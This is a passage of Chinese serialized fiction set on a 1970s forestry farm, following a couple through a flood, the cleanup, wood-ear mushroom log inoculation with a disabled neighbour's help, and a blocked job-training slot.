严雪直接将郭大娘也拉了下来,“别管这些了,快跟我们走,让祁放背着长安!”
郭大娘这才应了一声,赶忙拿起炕上一个小包,显然是之前就准备好的。
一行人锁上门出去,院子里的积水已经快没到严雪的腿根。
祁放背着郭长安,回手拉了一下她,她又回手扶住郭大娘,以最快的速度朝着地势高的地方走去。
感觉到抓着自己那只小手的力道,郭大娘忍不住说:“其实你们不用回来,梯子我们都架好了,弄完就爬房顶上去。”
今天郭长平和金宝枝的确不在家,昨天雨停那会儿带着孩子回金宝枝娘家了,谁知道没晴多久就又下起来,把他们隔在那边没能回来。
附近邻居估计也不知道这事,都以为她家有人,等她出去找人来背郭长安,已经找不到了。她自己又背不动,郭长安性子也倔,只说后山他走不过去,房顶他一只胳膊也能把自己拽上去。
“反正上房顶也不着急,长安说你们那菌种不能淹,得放高的地方上去,我俩就帮你们弄了弄,谁知道你们还跑来了。”
“不跑来,万一大水连房顶也淹了怎么办?”严雪根本就没考虑那些菌种的问题。
东西是她花了近半年时间弄的,又是买石花菜又是熬琼脂,更是她和奶奶弟弟安身立命的根本,没了的确可惜。
甚至错过今年,她要等到明年才能从头再来,但东西再重要,能有人重要吗?
一阵水波荡来,郭大娘脚底下不知踩到了什么,差点栽进水里。
严雪赶忙抓紧她,自己也被带得有些身形不稳。
祁放察觉到,立马拉住她胳膊,将她又拽了回来。
正好这时前方有人打着手电筒过来,“水都到大腿根了,你俩还乱跑!”是刘卫国的声音。
见他们这边情况不好,刘卫国赶忙过来,扶住了郭大娘另一边,“快走吧,严雪你弟弟都问你好几遍了。”
这下两边都有了支撑,速度总算快了些,也终于走到了地势够高的地方。
那些令人无法站稳的洪水一点点从腰间退到了腿根,又从腿根退到了膝盖、脚踝……
等几人站上山,再回头望,后方的林场已经成了一片水泽,所有的建筑都矗立在奔腾的水泽之中。
刘卫国抹了把脸上的雨水,“都淹了,今年水咋这么大?”
“好几十年没发这么大的水了。”郭大娘也感叹道,“这一淹,还不知道得有多少损失。”
“人没事就行。”严雪的声音里倒是听不出什么沮丧。
最差也不过是从头再来,只要人还在,日子总能想办法过起来的。
“走吧,人还在山上等着呢。”她重新扶住郭大娘,祁放也将郭长安又向上背了背。
几人朝已经初见规模的临时营地走去,还没到,一个小身影已经跑了出来,“姐姐!姐夫!”后面是小脚不便的二老太太。
“这么大的雨,乱跑什么?”严雪说了他一句。
小少年又退回棚子下,但就站在边缘,大眼睛眨也不眨地盯着严雪看,里面全是担忧。
“就这点路了,我自己走就行。”郭大娘拍拍严雪,又去接郭长安,“把长安放下来吧。”
郭长安什么都没说,腿却向下滑去,显然也是要自己走,祁放就放了人。
郭大娘立马扶住,母子俩顶着风雨艰难地往棚子下面走,走出几步,郭长安突然又重新回过头,“谢谢。”
这还是严雪第一次听到他和自己说话,在雨中弯起清澈的眸,“一样的,也谢谢你和郭大娘。”
外面风雨还在继续,即使有棚子上的油布遮着,雨丝依旧被风吹着灌入。
一群人缩在几个棚子下面,像严雪他们这样抱了小箱子出来的还好,箱子放在地上,还能轮流坐一坐,剩下的就只能站着了。
严继刚年龄小,二老太太又是个小脚,严雪干脆让二老太太坐在箱子上,抱着严继刚。
她自己则和祁放并肩站着,望着下面奔腾的洪水。
都说水火无情,只有在真正面对的时候才知道水火究竟能有多无情,人类在天灾面前又是多么的渺小。
严雪望望旁边俊脸被潮气浸润显得格外安静的男人,“在想什么呢?”
祁放目光始终注视着下方,声音在雨声中听起来有些轻,“在想黄河和长安。”
这个长安指的显然不是郭长安,“你是说唐时的都城?”
“嗯。”男人转头看看她,伸手帮她把发上的雨水拧了拧,“长安也很容易发大水。”
长安因为数次作为都城,人口暴增,周遭树木砍伐严重,水土流失,唐时经常会发大水。所以武则天时期,才又将洛阳定为了神都,皇帝也常常居住在洛阳而不是长安。
在他看来,或许今天这场大水除了天灾,还有很大一部分是人祸。
“那长安可没人种树。”严雪说,“还让咱们天天上山幼林培育,下着雨都得去。”
人类文明的进程总是伴随着对环境的破坏,没法避免的。只有发展起来了,有了余力,才会想着要保护环境。
严雪记得后来那些对环境污染极重的工厂都关了,环保也一直是国家很重要的一个课题,每年都在投入大量的资金进行治理。
这话带点埋怨又带点俏皮,祁放也不知道听进去了没有,看看她,抬步又走进了雨里。
“怎么了?”严雪忙问。
祁放抬了下手示意她不用跟过来,人走进旁边的林子,不久搬了块大石头回来。
将石头表面冲干净,放在二老太太和严继刚坐的小箱子旁边,他抬眼瞧严雪,“坐吧。”
竟然是给她找东西坐去了,严雪有些意外,随即又弯起了眉眼。
她将石头又往外挪了挪,自己坐了半边,拍拍另半边,“你也坐。”
那块石头并不大,但坐下一个娇小的她,好像看着又不是那么小了。祁放垂眸看了看,还是背对她坐在了另一边。
或许是石头太小,这次两人挨得很近,严雪后腰还能感受到男人衣料下比她暖上不少的体温。
这让她不禁往后挪了挪,更加贴近冰冷雨夜中那点难得的温暖。
不知是不是有所察觉,男人挺直了脊背,同样也向后挪了挪,让她能靠得更多。
严雪只要稍微仰仰头,甚至能枕在他宽阔的背上,于是干脆整个人靠上去,“我现在才发现个子小也挺好的。”
她要是再高一些,或是和祁放体型差没这么大,可就享受不了这温暖了。
“嗯。”祁放保持着那个姿势没动,只回手轻按了按她的头。
这边一家四口全坐着,那边还站着的人看着,总算后知后觉从担忧、焦躁、心疼、后怕中回过了神,也去周边找石头。
不多久彻底没人再上来,郎书记过来点人数,发现还少了七家。
这让他皱紧了眉,“不是挨家都通知到了吗?”
这下面水这么大,天还这么黑,想找都没办法去找。
最终他只能先安顿了山上这些人,其他的等明天天亮了再说。
金川林场二三百户人家,就这么挨挨挤挤在临时搭起的棚子下,熬过了这让人感觉无比难熬的一夜。
半夜的时候,大概是雨小了,人又惊吓又累,也实在困乏,有些人还是忍不住睡了过去。
见二老太太把严继刚往怀里拢了拢,严雪伸过手,“给我抱会儿吧,您也歇歇。”
刚抱过来,又被祁放接了过去,“我身上热。”
他身上确实要更暖,怀抱也更宽广,更让人安心,严雪没和他争,然后不知不觉也睡了一觉。
这一觉并不踏实,总感觉身边有人说话,有人走动,还有人忍不住低泣,有孩子经不住闹腾,棚子外更是淅淅沥沥一直没停。等她彻底醒来,已经是天边发白,不知谁带着点惊喜说:“天好像放亮了。”
严雪睁开眼,先眯了眯,才和刚刚醒来的许多人一样望向了天边。
磨盘雷昨天半夜就停了,但雨一直没停,如今沉闷的乌云像是被什么凿开了一道口子,终于有天光泄了进来。
郎书记带着人把昨天晚上从商店搬出来的饼干面包给大家发了发,“东西不多,大家先凑合着垫垫。”
祁放那个箱子出来的时候也被二老太太塞了几个饼子,因为保护得还算好,箱子里面并没有进水,此刻刚好拿出来垫肚子。
经过一夜的露宿,众人已经平静多了,郎书记看着雨已经不大,点了几个水性好的年轻人吹轮胎扎简易的皮筏。
还剩七户人家,总不能真放着不管了,皮筏扎好放下去,不多久又带上来一个老人、两个孩子。
也有人待在房顶上,死活不愿意下来,郎书记没办法,亲自过去劝,又劝下来几户。
最终还有两个人没找到,大家也不知道该去哪里找,只能待在山上焦急地等雨停,等水退。
中午的时候,乌云渐渐被阳光取代,一度超过人肩膀高的洪水也总算慢慢退了下去。
到了傍晚,水退到了人腰部以下,雨也彻底停了,郎书记看了看天色,“都回去吧,应该不会再下了。”
但还是没人敢动,大家都被昨晚那场大水吓怕了,生怕还要重新经历一次。
严雪也没动,只偷偷拽了拽祁放,指向天边,“快看。”
祁放顺着她所指的方向看过去,看到了一道清晰漂亮的彩虹。
“是不是很漂亮?”严雪眼睛亮亮的,“可是不经历昨晚那样残酷的风雨,就没法看到现在这么漂亮的彩虹。”
她知道男人有心结,也不清楚他只要再等七年就好了,一味地背负着那些重担,这么说,希望他多少能想开点。
祁放望着她,却只觉得那双眼睛比那彩虹还要漂亮,让人忍不住想亲吻,想珍藏。
可惜时间地点都不对,不远处还有人“嗷”地一声哭了出来,“俺家的房子被水冲塌了!”
夫妻俩望过去,发现是李树武媳妇。
她拍着腿,哭得那叫一个撕心裂肺,“这叫俺们上哪儿去住?还有俺家那些东西,没了!全没了!”
霸王圈的房子暖和是暖和,但地基浅,抗灾能力差,这一发大水,有些人家的房子就被冲塌了。李树武家就在其中,非常明显地塌了大半,只没直面洪水冲击那一边剩下半堵墙,露出里面作为支撑的木头。
关键还不是他们家得重新盖,毕竟盖房子林场给批木头,他们只是费点事。而是房子都没了,里面的东西哪还能剩得下。
这可太惨了,严雪看看对方,到底没说出那句:“你不是有经验的本地人吗?”
祁放却没她那样的好心,嘴毒道:“还好当初没租他们家的房子。”
多损啊,李树武媳妇就在不远处肯定能听见。
她也的确听见了,但一来太伤心,二来可能还记着自己昨天说严雪那话呢,愣是没吭声,接着在那哭。
同样被冲垮了房子的还有几家,郎书记看到这个情况,又下来通知了一圈,让回去后先检查自家的房子。能住住,不能住的先去别人家挤一挤,别大水没把人怎么样,房子塌了再把人砸着。
至于已经确定塌了的几家,全暂时被安置到了林场的招待所,那边是砖瓦结构,比霸王圈结实,都没出什么事。
一群人又累又饿,总不能真继续在山上待着,等天色渐黑,洪水又退去一些,还是陆陆续续回去了。
这时候就看出严雪和祁放当初盖房子的时候在外面多加了一层砖是多么明智,附近一家房子塌了,一家房子被冲出了裂缝,只有他们家啥事没有。
但啥事没有并不代表他们就比别人轻松,单洪水进了屋,带进来的淤泥就够他们清理一阵了。
后续还有坏了的物件要换,脏了的东西得洗,泡过水的房子也得经过充分的消毒,晾上一阵子,不然肯定要发霉。
估计是水里卷着石头,严雪和祁放那屋的窗玻璃还碎了几块,几人一商量,干脆先只清出二老太太和严继刚那屋,一家人挤一挤凑合完今晚。等第二天水彻底退了,再一点点收拾其他几个屋。
唯一值得庆幸的是他们准备充足,而洪水并未没过房顶,家里不少放在高处的东西都幸免于难。
祁放把被子从柜子顶上拿下来,一打开,里面还夹着字典、作业本、铅笔盒和一把小手/木仓,也不知道严继刚昨天什么时候塞进去的。
见几人都朝自己望来,姐姐和奶奶眼睛里还有着好笑,严继刚脸一红,赶忙过去捧走了。
但这炕泡过水,现在又没法烧,也不能直接睡,几人在下面拿衣服垫了一层,总算将今晚凑合了过去。
第二天一大早林场便忙碌了起来,到处都在收拾东西,严雪也才有机会清点起他们这次的损失。
首先窗玻璃得换,盘子和碗也碎了不少,剩几个带豁口的勉强用着,也得重新买。
还好值钱的东西都在祁放那个小箱子里,也还好粮食被他们放到了高处,不用担心断粮。有些人家已经没东西吃了,郎书记正在联系附近没受灾的林场,看能不能运点过来。
除此之外比较让严雪惊喜的就是后院的树头了,因为他们提前盖了棚子,竟然没有损失太多。
不过也全都泡了水,还得晒晒才能用,表面也得先用石灰水消消毒,不然会有杂菌。
另外种植木耳的场地还有进过水的家里也得用生石灰消毒,就是不知道郭大娘和郭长安一番忙碌,菌种到底保住了多少。
50 开种
谁都没想到严雪会提出让郭长安帮她干活,包括郭长安自己。
一时几个人脸上全都露出了诧异,郭大娘更是想说什么,张张嘴,又到底犹豫着没能说出口。
她能说什么呢?
说他们家长安手脚不方便,不给人添麻烦就不错了,当着长安的面?
长安是个什么要强性子,没人比她这个当妈的更清楚,这么说不是在剜孩子的心吗?
“放心,活不重,累不着长安。”严雪像是不知道她在犹豫什么,还安慰了她一句。
“我不是担心这个。”郭大娘下意识便接道,接完又说不出个所以然。
严雪干脆看向郭长安本人,“就是些装菌种、钉树皮帽的活,坐着也能干。我那些菌种过两天就能用了,我准备抓紧时间把它种上,怕人手不够,这才想占个便宜,你有没有兴趣试试?”
这让郭大娘忍不住看向了郭长安,郭长平和金宝枝也是。
郭长安却沉默半晌,抬眸望向严雪,“你确定让我去帮你干活?”
“那当然。”严雪笑着给了他肯定的答复,“上次原种的栽培你就弄得很好,这次又及时帮我保住了菌种。我觉得你这人学东西很快,心也细,找你帮忙肯定让人放心。”
完全真诚的夸赞,丝毫不作假的笑容,对郭长安来说,却是好久没有听到看到的东西了。
他虽然躺在家里,但又不是瞎了聋了,有时候外面有人路过,提起他,总要说上一句可惜了。
有时候还要加上一句:“这么年轻就成了这样,以后可咋整啊?老郭嫂来罪了。”
同情者有之,怜悯者有之,就是没人像严雪这样,觉得他学东西快,觉得他心够细,觉得……
他还能有用。
他定定看向严雪,“我去。”
又看一圈郭家其他人,坚定地重复:“我去。”
这郭大娘总不好再说什么,怕说多了会伤到他的心。
等严雪回小屋去了,她才过去扶住儿子,欲言又止。
“妈,我想试试。”郭长安在她之前开了口,“她不说活不重吗?不行我再回来。”
郭大娘还是犹豫,平时话不多的金宝枝却开口说:“就让长安去试试吧,小严说能干应该就是能干。”
她跟严雪在一个家属队干活,知道严雪不是那无的放矢的人。
郭长平虽然不了解严雪,但他赞成弟弟多出去走走,总不能一直闷在家里把自己闷出毛病来,“长安想去就让他去呗,他这是去帮人干活,又不是去给人打工,干不多还干不少吗?”
这郭大娘也没什么可说的了,“行,我去问问小严啥时间,到时候送你过去。”
“你是想帮帮他?”
另一边,祁放始终没插话,等两人回到里屋才低声问了句。
“也不全是吧。”严雪说,“郭长安原种培育做得确实不错,一瓶都没有浪费,心也够细。”
发水那天那么乱,不是所有人都能想到把菌种放去高处的,也不是所有人都能想到这两天晚上温度不够。
“既然他有这个能力,又对菌种的培养感兴趣,找点事给他做,总比闷在家里强。”
严雪是爸爸淋过雨的人,再看到别人淋雨,能递伞总要递把伞的。
上辈子她爸爸截肢那会儿,已经是下岗潮之后,大量国有企业倒闭,包括他们当地两个专为残疾人开设的福利厂。
她爸爸四处都找不到工作,最后才去蹲的市场,一开始父女俩穷得只能吃每天卖不掉的东西。
后来她知道了自己长得可爱,只要嘴巴甜,总能拉来人看他们家的东西,情况才逐渐好转,她爸爸也慢慢摸到了些做生意的门道。
严雪到现在都记得当时东西卖不出去,爸爸那难过又克制的表情,嘴甜也成了她刻进骨子里的本能。
虽然郭长安和她爸爸情况不一样,林场应该会给他安排一个清闲的工作,但清闲也就意味着没有任何前途。除了工作,他也需要别人的尊重和认可。
严雪把一个明显生出杂菌的罐头瓶挑出来,一转头,却发现男人正静静望着她。
“怎么了?”她有些疑惑。
“没怎么。”男人从她手里接过罐头瓶,“这些是需要倒了?”
“嗯,生出杂菌的不能用。”
祁放把里面的东西倒出来,和从屋里清出来的淤泥、玻璃渣堆在一起,罐头瓶则放去一边,等过后清洗。
严雪已经忙别的去了,没想到他突然说了句:“qi放这名字起得好。”
他闲着没事夸自己名字好干嘛?
严雪心里嘀咕,想想这男人好像不是这么自恋的人,又疑惑,“你是说自己呢还是说别人呢?”
祁放没回答,只在收拾完洗完手之后,慢条斯理拿长指揪了揪她脸颊。
灾后第三天,小火车道终于恢复了通车,镇上用内燃机送来了一大批林场需要的物资,尤其是粮食和蔬菜。
二老太太去挤了半天,只抢回来几个茄子,“人太多了,全在那等着,东西一搬出来就被抢光了。”
这一发大水,各家的菜园子全遭了殃,能不被抢光才奇怪。
严雪过来接过老太太手里的菜篮子,“您快歇歇吧,下次让祁放去。他个子高,力气大。”
“个子高是这么用的?”老太太慢悠悠嗔了她一句,坐下来歇歇脚,“可惜了那些菜了,全得重新种,还有地里的粮食。”
蔬菜成熟周期短,还能再补种,粮食可就没办法了,今年农业队的收入都得受到影响。
见小两口正在里屋外屋洒林场刚发到各家的生石灰,老太太又想起一件事,“刚碰到前面那条街的老赵太太,她也问我你们当初盖这房子用了多少砖。”
自从周围几家房子倒的倒,裂的裂,严雪他们这毫发无损的就成了标杆。但凡要重新盖房子的,十有八/九要过来问问。
贵是贵,麻烦是麻烦,可也结实啊,总比一场大水过后啥也没有了强。
所以后面几天,林场的内燃机不仅要往这边送物资,后面还要挂几节车厢,全是各家去镇上买的砖。
众人忙着盖房子,忙着帮别人盖房子,连第二轮幼林培育都暂停了,严雪也有了充分的时间将已经成熟的菌种移入段木进行栽培。
适合木耳种植的树种主要为阔叶树,直径在6到10厘米之间,长度在1到1.2米之间。
祁放去借了个手摇钻,在段木上打直径1.3到1.6厘米,深入皮下木质1.5到2厘米的孔,每隔8到10厘米打一个,品字形交错着打上四行。
打完将长满菌种的木屑块放进孔里,放满,再用直径超过木孔2毫米的树皮帽盖上去,拿小锤敲实。
有些地方产玉米,也会用玉米核,再就是蜡封,这个能更好地排除杂菌的干扰,但他们暂时没那个条件。
郭长安被分配到的就是敲树皮盖这个活,哪怕一只手不方便也没问题,只要将树皮盖放好,敲准点就可以了。
为了让他出这个门,郭大娘还特地在家给他理了个发,力求他出现在人前的时候尽可能精神。
就这样,郭长平帮着把人送过去的时候还是引起了不少议论,哪怕当面不说,背后眼神还是会落在他明显不正常的右手和右腿上。
郭长安抿着唇,手也紧紧攥在了一起,愣是挺直腰杆,没去管那些或同情或异样的目光。
直到进了严雪家,看到满院子忙碌的景象,严雪招呼他时自然的态度,他才整个人都松懈下来,“需要我干什么?”
“帮我们敲敲树皮帽就行。”严雪将切割好的树皮按在钻孔中,几下敲进去,看看他,“不难吧?”
确实不难,只要树皮帽放得够准,手也够稳,甚至单手就能敲进去。
而且郭长安的右手虽然不灵便,却也不是一点不能动,只是使不上力罢了,压点轻东西还是可以的。
严雪见他点头,就把锤子递给他,又搬了个凳子让他坐下。
位置放得非常巧,刚好挨着家里的墙,郭长安用左手撑着墙,就能尝试着站起或坐下。
郭大娘还有些不放心,想上去帮忙,被郭长平拉了下,“那我们就先回去了,中午过来接他。”
“晚上再过来接吧,”严雪说,“中午这顿饭我们还是管得起的。”
郭长安却很坚持,“中午我回家吃,本来我就是来帮忙的,还欠着你们的人情。”
说着已经拿起一个树皮帽盖上,用右边手压了压,尝试用左手去敲。
可惜刚开始还不熟练,配合得不好,树皮帽在锤子下一崩,飞溅出去,压着的右手也被他砸了下。
他蹙了下眉,完全没管疼不疼,正准备伸手去捡,有只小手比他更快地捡了起来。
严继刚将树皮帽按在了攥孔上,朝他一弯眼睛,无声地示意他可以砸了。
小少年眼神清澈,还带着点腼腆,虽然一句话没说,却比那能说会道的更让人安心。
郭长安看着垂下眸,小心避开对方的手敲了几下,见他敲稳了,对方立马拿起下一个。
两人一个按,一个敲,渐渐竟还配合出点默契来,速度也越来越快,不久一排钻孔就敲好了。
严雪将段木翻了个身,继续往里面放菌种,两人则跟在后面盖帽封口,直到一整根段木都接种完,祁放过来将段木搬进了棚子里。
这些段木要两两平行摆放,上下两层垂直90度,呈井字形,堆到一米高,等耳芽生出,再拆开来散放。
郎月娥过来的时候,棚子里接种好的段木已经堆了好几堆了,郭长安也愈发熟练。
见他在严雪家帮着干活,郎月娥也有些意外,但并没表现出来,还笑容如常和他打了个招呼,“长安也在啊。”
郭长安手上的动作一停,很快又如常继续,“月娥姐。”显然是和郎月娥认识的。
郎月娥没有要打扰他的意思,说了句“你忙”,就径直找上了严雪,“你家小祁参加培训那事儿,镇里给打回来了。”
“镇里给打回来了?”严雪难掩错愕,干脆放下东西,和郎月娥去另一边找祁放。
祁放听了,也蹙起眉,“镇里是怎么说的?”
“说是你参加工作前几个月还没满十八周岁,不应该算工龄。这样你工龄就还不满三年,不能参加培训。”
郎月娥这显然是郎书记让她来的,“以前也有你这样生日小,毕业时年龄还不够的,也都提前参加工作了,没卡这么严。而且你这都工作好几年了,谁还抠这些啊?我爸让我问问你是不是得罪什么人了。”
一般林场递上去的名单,镇林业局是不会管的,下面林场的人他们又不认识,挑刺那不是挑个人的刺,是挑林场的。
但这回对方还真就挑了,严雪不由想起祁放从镇机修厂被下调到林场的事,看看男人。
祁放应该是也想到了,放下手里的手摇钻,眼神有些深,“名单已经公布了吗?”
“还没呢,”郎月娥说,“只叫咱们林场再选个人上去。我爸的意思是趁还有点时间,能找人你们就找找人。今年油锯手一下子就招了三个,下次再有名额,搞不好就得等有人退下来了。”
今年招的多,是因为林场的拖拉机一下子从两台变成了四台,运输能力增强,采伐规模也肯定要扩大。
一旦这些人手足够完成任务,木头伐多了也运不出去,林场自然不需要新的油锯手。
郎书记和郎月娥显然是好心,才偷偷来告诉他们,郎月娥还提醒两人,“越快越好,这消息不一定能捂得住。”
两人点头,将她送到了院门口,“谢谢你月娥姐,也帮我们跟郎书记说声谢谢。”
送完人回去,严雪不禁看了眼男人。
“回头找时间说。”祁放神色还算平静,拿起手摇钻继续打孔。
没想到消息泄露得比郎月娥担心得还要快,当天下午忙活完,几人正在堂屋洗手准备吃饭,于勇志来了。
他还不是空着手来的,光着个膀子,提溜着个酒瓶子,进来手往堂屋门框上一撑,“准备吃饭呢?”
祁放一看他那光着的上半身就想蹙眉,虽然林场夏天常有男人这么干,还是不着痕迹往严雪身前挡了挡,“有事?”
“你看你这个人就是没意思,啥叫有事儿,没事儿就不能上你家来了?”
于勇志这回来之前显然没喝,舌头没大,说话没冲,但同样不怎么招人待见。
何况他跟祁放也没好到这个份儿上,突然找上门,肯定没什么好事。
果然于勇志一看祁放还是那冷淡的脸色,啧了声,“你看你,就知道摆着个死人脸,你这样不得罪人,谁得罪人?我不跟你计较,那是我大度,可不是谁都像我,这不镇里就把你的培训名额拿下来了?”
消息可真够灵通的,要不是两家还没不对付到需要动用镇上甚至县里的关系,严雪都要怀疑这事是不是他们家干的。
于勇志还一脸同仇敌忾,“镇林业局那帮人就是有病,啥事儿都瞎管,咱林场愿意让谁去培训,关他们屁事儿!”
敢情是听说祁放也被撸了下来,想起了自己,觉得他这也算是有人作伴了。
就是那脸上还明显带着点看好戏的意味,压也压不住,于勇志提提酒瓶子,“来,我陪你喝点儿。镇上那群人就是傻逼,不用搭理他们,不当油锯手咋了?不行你就学我,转保卫科。”
严雪早就说过于场长家管不住这个儿子,果然她和祁放从关里老家一回来,就听说对方已经转到保卫科去了。
如今他当着祁放的面提起来,显然是带着嘚瑟的意思。毕竟祁放可没有个当场长的爹,在县林业局的舅舅,能让他即使自己作死把机会都作没了,还能想去保卫科就去保卫科。
祁放也知道,却并没有表现出任何不悦,还一口应下,“行。”
于勇志显然有点意外,但还是拎着酒瓶子晃进来了,“早你咋不这么上道?”
人还没走两步,就听祁放淡声又道:“人少没意思,把你二姐夫也叫过来一起。”
于勇志立马顿住了,眉也皱了起来,“叫他干啥?”
虽说梁其茂现在是把人接回去了,但他干那些事于勇志可是一点没忘,一看见这个姐夫就没什么好脸。
“你要是不想叫梁哥也行,我陪你们喝两杯。”
严雪还是从祁放身后走了出来,笑盈盈去翻家里的菜,“不过得再炒个菜。”
又看于勇志的酒瓶子,“你这一瓶酒也不够,我得再去买两斤。”说着就要进屋拿钱。
一听她说要陪自己喝,于勇志那脸就有点绿,再听还要再买两斤,就更绿了,绿中还透出点胃疼。
妈的这娘们儿是拿酒当水喝吗?上回一口气连灌六七两,屁事儿都没有一点。
他牙疼地看向祁放,“咱们老爷们儿喝酒,你还叫个娘们儿上?”
祁放一脸正经,“我媳妇心疼我,不舍得让我喝,等你结婚就知道了。”
于勇志还是头回见人满脸冷淡说这话的,一开始还以为自己听错了,回过味儿来牙更疼,“算了算了,你愿意跟她喝,你自己跟她喝吧。”看到一半的好戏也不看了,赶紧往外走,
严雪也就是做做样子,看人走了,又重新出来端饭。
二老太太对这些人事都不了解,当然不会多言,但还是抓到了一个重点,“小祁啥名额被人拿下来了?”
“去镇里培训的。”严雪说,“这个我俩下午就知道了,不是什么大事。”
可要真不是什么大事,谁会闲着没事跑来幸灾乐祸?
二老太太心知没严雪说得那么简单,但这些事她也不懂,她也出不了力,干脆什么都没再说,省得俩孩子听着闹心。
到底忙活了一天,晚上吃过饭,又在大学生姐夫的指导下认了两页字,做了一页数学题,严继刚就困得不行了,眼皮直打架。
严雪帮他把被褥放下,他自己洗漱好钻进去,没多一会儿就睡着了,倒是严雪显然还没多少睡意。
祁放显然也没有,收好钢笔看看她,“睡不着?”
“我是怕你睡不着。”严雪压低了声音,“前几天发大水,那药你也没继续吃,你觉得睡眠好点了没有?”
51 喇叭
去小修厂,那就是要重新干回老本行了。
虽然小修厂比不得澄水机修厂,更远远比不得研究所,但祁放之前可是宁愿去当油锯手,也要守好老师的东西。
严雪难掩意外,祁放却是经过深思熟虑的。
尽可能低调又怎么样?
他丧家犬一样窝在这山沟沟里好几年,吴行德不还是找了过来?
不仅找了过来,还在他明确表示自己这里没有后,趁他不在偷了他的家……
祁放按着严雪的手指改为轻抚她侧颊,“东西都丢了,我再没有一点反应,不是让人怀疑?”
可在原书中提起他的时候,明明说他当了十几年的伐木工,直到改革开放。
严雪心里疑惑,下一秒,长睫就被人用指腹轻轻碰了下,“我现在毕竟是有家小的人了。”
吴行德嘴里没有一句人话,但有句话他说得对,自己现在不是一个人,还有严雪,总不能真叫严雪一辈子跟着自己受穷受累。
严雪那么努力生活,应该也不想看到别人都骑到头上来了,自己还跟个窝囊废一样只知道隐忍低调。
而且采伐队每年落雪进山,来年三四月份才能下山,一年里面有近半年都得待在山上,根本没法回家。
祁放忍不住又在那小扇子似的睫毛上触了触,“也省得有些人将来工资比我还高。”
严雪被他弄得有点痒,赶忙向后躲了躲,听到这明显有所指的话更是无力吐槽,“人家现在工资就比你还高。”
祁放神色一顿,桃花眼望过来,像是不太相信自己所听到的。
严雪点出事实,“他比你大一岁多,工龄比你长。”
祁放神色再次一顿,“你知道得还挺清楚。”
“是秋芳姨跟我说的。”严雪笑弯起眉眼,天上一弯弦月立马落成了她眼中的月亮,“她还说人家特别能干,以前他姑姑家里收地全靠他。”
亏她之前把祁放当成了齐放,还怀疑过人家姑姑对他不好,害齐姑姑风评被害。
祁放听着,眼神却越来越深,越来越深,半晌来了一句:“秋芳姨怎么什么都跟你说?”
那当然是齐姑姑跟单秋芳说的,省得人觉得他侄子多么不好似的。
严雪只是仰起脸,笑盈盈望着男人,“秋芳姨还说人家体格特别好,干多少活都不知道累,也没个病没个灾,将来活个八、九十岁肯定没问题。”
前面这两句是单秋芳原话,至于后面的嘛,就纯粹是她夹带私货了。
叫这男人在原书中把自己弄得一身病痛英年早逝,叫这男人有问题不好好治!
严雪戳着对方的腰,还准备再刺两句,男人突然捉住她的下巴向上一提,把她的嘴给堵住了。
这个吻带着点急切带着点惩罚,上来就在她唇瓣上狠吮了一下。
严雪忍不住吸气,对方立马趁虚而入,用唇舌堵得她彻底说不出话来。
就是严雪还不到男人下巴高,那次躺在炕上亲的时候还不觉得怎样,这次改为站着,立马显出些吃力。
严雪仰着脸,腰都被人抱提了起来,脚也只剩个脚尖点地,很不舒服,没一会儿就开始往下滑。
祁放要深低下头,同样不舒服,尤其是当他想扣住严雪后脑,将吻再度加深的时候。
于是这个吻并没有持续太久,便因为姿势的别扭不得不分开。
严雪拿手背碰了碰唇,“你那么大力干什么?别给我嘴唇弄肿了……”
话还没说完,就被人揽着腰整个抱了起来。
男人在她嘴唇上重重啄了口,“换个地方。”抱着她就走。
骤然离地已经让严雪抓紧了对方的肩,这一走,严雪更是紧张,下意识抬腿圈住了男人的腰。
祁放脚步明显一滞,因为离得近,严雪甚至听到他轻轻吸了一口气。
接下来他脚步明显加快,一只手也腾出来托住了严雪的腿。
严雪完全不知道他要去哪里,紧紧圈着他,“不行你就放我下来,我自己能走。”
“谁说不行?”明明也没有很远的距离,男人呼吸间却带上了微喘。
很快两人便在一处停下,人都还没放下来,男人已经抬起一手按住严雪的后脑,再度吻了上来。
严雪下意识找地方落脚,触到了一个还有些摇晃的东西,是男人平常用来垫着劈柴的木桩。
这根本站不稳,她只能努力抱住男人的肩,然后被当成主动送上门的甜点,被品尝得更深入,更彻底。
夜风清凉,在这寂静的黑夜中,却有一处比那正午的阳光更加炽热。
好一会儿,蛐蛐儿声中才响起一道又轻又软的声音,“你松开点,硌着我了。”
然后是凌乱的呼吸,和男人微哑的嗓音,“继刚到底什么时候回去?”
严继刚到底什么时候回去,好像全家就只有祁放最关心。
毕竟谁能想到他俩都结婚快半年了还没圆房啊?
而且这年代房子小,房间少,都是一大家子睡在一个炕上,也没见耽误了孩子一个接一个蹦出来。
于是第二天起床,严继刚总觉得自家姐夫看自己的眼神有点怪。
说不喜欢吧?
不可能,他姐夫对他多好啊,让姐姐接他过来,还给他做小手/木仓。
可要说喜欢吧,姐夫那双挺漂亮的眼睛又太深了点,静静望过来的时候,让人怪看不懂的。
早上吃完饭,姐夫终于没忍住说了句:“你还有什么想要的?”
没想到姐夫一直看着他,是想问这个,严继刚一愣,随即非常懂事地表示自己什么都不缺,什么都不想要。
就是太懂事了,懂事得姐夫看了他这个懂事的小朋友一会儿,“这个可以有。”
果然姐夫还是喜欢他的,严继刚努力想了一会儿,“这、这个真没、没、没有。”
那么多年后的梗,也不知道这俩人是怎么接上的,严雪在旁边听着,实在没忍住笑了。
见男人还想追问,她掐了把男人的腰,“你别欺负我弟弟啊。”
根本没掐动,反而被男人捉住手,握在掌心里捏了捏,才淡声放开,“我没有。”
没有还试图再次利诱他们家继刚,给他这个想要上路的预备司机腾地方?
严雪才不信,但他们家单纯又懂事的严继刚小朋友显然信了。
严继刚小朋友完全不知道自家姐夫的良苦用心、百般筹谋、居心叵测,还努力帮他证明,“姐、姐夫没有,他对、对我可、可好了!”
怕严雪不信,还拿一双大眼睛看着她,努力发射着:“快信吧快信吧,不信你看我认真的小眼神儿!”
看得严雪哭笑不得,又拿眼睛横了眼祁放,“你还赶不上个孩子懂事。”
祁放不置可否,抬手摸了摸自家小舅子的脑袋,“以后有什么想要的,跟姐夫说。”
严继刚用力点头,等他走了,又跑去偷偷拉严雪,强调,“姐、姐夫真没、没欺、欺负我。”
“知道了,你这个胳膊肘往外拐的。”
严雪捏捏他脸颊,又忍不住感叹,“你什么时候说话能像说梦话一样流利就好了。”
说得严继刚小脸发红,赶忙也跟出去帮着干活了。
祁放已经决定好了要转小修厂,油锯手培训名额那件事自然不再着急,该干什么继续干什么。
但他们不急,有人替他们急,刘卫国也不知道是从哪听说的,顶着大太阳就跑了过来,“这事儿到底真的假的?”
“真的。”祁放倒也不隐瞒,就是手也没停,手摇钻继续给段木打着孔。
